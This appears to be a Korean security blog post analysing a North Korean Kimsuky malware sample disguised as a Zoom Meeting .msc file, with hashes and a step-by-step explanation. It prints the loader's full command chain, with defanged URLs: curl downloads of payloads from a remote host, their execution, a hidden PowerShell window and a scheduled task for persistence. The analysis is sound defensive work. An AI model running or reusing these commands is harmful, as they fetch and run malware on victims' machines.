소프트웨어 팁/보안 및 분석

북한 APT Kimsuky(김수키)에서 만든 줌 미팅(Zoom Meeting) 사칭 악성코드-Zoom Meeting(2024.9.28)

Sakai 2024. 11. 18. 02:45

오늘은 북한 APT Kimsuky(김수키)에서 만든 좀 미팅(Zoom Meeting) 사칭 악성코드인 Zoom Meeting(2024.9.28)에 대해 글을 적어 보겠습니다.
해당 악성코드는 줌 비디오 커뮤니케이션 (Zoom Video Communications)에서 만든 줌(Zoom) 은 원격 회의, 채팅, 전화, 비즈니스용 이메일 및 캘린더를 포함한 통합 커뮤니케이션 서비스 (UCaaS) 플랫폼입니다. 해당 악성코드는 일단 아이콘부터 좀처럼 생겼지만, 그것은 아니고 msc 형식 방식을 취하는 것이 특징입니다. 일단 msc 내부 까보면 다음과 같은 코드들이 핵심입니다.

악성 행위 핵심코드

악성코드 에 포함된 코드
악성코드 에 포함된 코드

"C:\Windows\System32\cmd(.)exe" /c mode 15,1&curl -o "%temp%\zoom(.)exe" 
"hxxp://www(.)atlanwelt(.)de/modules/mod_articles_category/tmpl/0910_simba
/dfef(.)php?de=call"&"%temp%\zoom(.)exe"&powershell -windowstyle hidden $a
=1&curl -o "%appdata%\sigm" "hxxp://www(.)atlanwelt(.)de/modules/mod_articl
es_category/tmpl/0910_simba/denyhg(.)php?de=single"&type "%appdata%\sigm">"
%appdata%\sigm(.)exe"&schtasks /create /tn TemporaryClearStatesesf /tr 
"%appdata%\sigm(.)exe" /sc minute /mo 58 /f&curl -o "%appdata%\sigm(.)exe
.manifest" "hxxp://www(.)atlanwelt(.)de/modules/mod_articles_category/tmpl/0910_
simba/dvfh.php?de=singlefest"&exit

악성코드 설명

1.C:\Windows\System32\cmd(.)exe" /c mode 15,1:
콘솔 화면 크기를 설정
후속 명령어 실행을 위장하거나 단순히 명령어를 실행하기 위한 초기 단계
2.curl -o "%temp%\zoom(.)exe" "hxxp://www(.)atlanwelt(.)de/.../dfef.php?de=call":
curl 명령어를 사용해 hxxp://www(.)atlanwelt(.)de/.../dfef(.)php?de=call 에서 악성 파일을 다운로드
다운로드된 파일은 임시 폴더(%temp%)에 zoom(.)exe라는 이름으로 저장
3."%temp%\zoom.exe":
다운로드한 zoom(.)exe 파일을 실행
이거는 정상적인 줌인 것처럼 꾸민 것임
4.powershell -windowstyle hidden $a=1:
PowerShell을 숨겨진 창에서 실행
$a=1 는 주로 아무 의미 없는 더미 코드 PowerShell을 활성화하기 위한 기본 명령
5.curl -o "%appdata%\sigm" hxxp://www(.)atlanwelt(.)de/.../denyhg(.)php?de=single:
또 다른 URL에서 악성 파일을 다운로드하며 파일은 `%appdata%\sigm에 저장
6.type "%appdata%\sigm">"%appdata%\sigm.exe":
다운로드한 파일 내용을 sigm(.)exe 로 복사
악성코드를 실행 가능한 파일 형식으로 변환

ZOOM 회의 참가
ZOOM 회의 참가

7.schtasks /create /tn TemporaryClearStatesesf /tr "%appdata%\sigm.exe" /sc minute /mo 58 /f`:
schtasks 명령어를 사용해 Windows 작업 스케줄러에 새로운 작업을 생성
이름은 TemporaryClearStatesesf 로 설정되며 58분마다 %appdata%\sigm(.)exe를 실행하도록 설정
악성코드의 지속성을 유지하기 위한 목적
8.curl -o "%appdata%\sigm.exe.manifest "hxxp://www(.)atlanwelt(.)de/.../dvfh(.)php?de=singlefest:
또 다른 악성 파일(해당 경우에는 .manifest)을 다운로드
해당 파일은 실행 가능한 sigm.exe 와 함께 특정 메타데이터나 실행 구성 파일로 사용

악성코드 실행
악성코드 실행

악성코드 실행 시 다음 명령 수행
"C:\Users\????\AppData\Roaming\Zoom\bin\Zoom(.)exe" "--url=zoommtg://win(.)launch?h.domain=zoom.us&h(.)path=join&action=join&confno="

sigm.exe 다운로드 완료
sigm.exe 다운로드 완료

코드 설명

해당 명령어는 Zoom 클라이언트 를 통해 특정 URL을 열어 Zoom 회의에 참여하도록 설계된 실행 방식
1.C:\Users\???\AppData\Roaming\Zoom\bin\Zoom(.)exe"
Zoom 클라이언트 실행 파일의 경로를 지정
해당 경로는 Windows 운영체제에서 Zoom이 설치된 기본 위치 중 하나
2.--url=zoommtg://win(.)launch?h(.)domain=zoom(.)us&h.path=join&action=join&confno="
--url 옵션을 통해 Zoom 클라이언트를 특정 URL 프로토콜(zoommtg://)과 함께 실행
zoommtg:// 는 Zoom의 커스텀 URL 스킴(Custom URL Scheme)으로 해당 부분을 통해 Zoom 앱이 특정 작업을 수행하도록 지시
URL 구성:
h.domain=zoom.us:
Zoom의 공식 도메인(zoom(.)us)을 지정 해당 도메인에서 발생하는 회의를 연결하도록 설정
h(.)path=join:
join 작업을 지정하여 회의에 참여하는 액션임
action=join:
위와 같이 회의에 참여하는 동작을 지정
confno=:

줌 미팅 악성코드
줌 미팅 악성코드

여기에서 confno 는 회의 ID를 의미 값이 비어 있으므로 실행해도 특정 회의에 연결되지 않음
즉 회의에 연결 안 됨
여기서는 sigm.exe 이라는 파일을 뜯어보면 어떤 악성행위를 하는지 쉽게 확인을 할 수가 있습니다.
해쉬
파일명:zoom.msc
사이즈:142 KB
MD5:6c701204ca4f75718798ebc4b3ed726f
SHA-1:ecb675f2570939d423595202abddf332b5029551
SHA-256:342c285efb8798fcba80d695cafc9ae1e097cecc72e01f25df85e4210e9fd638

그리드형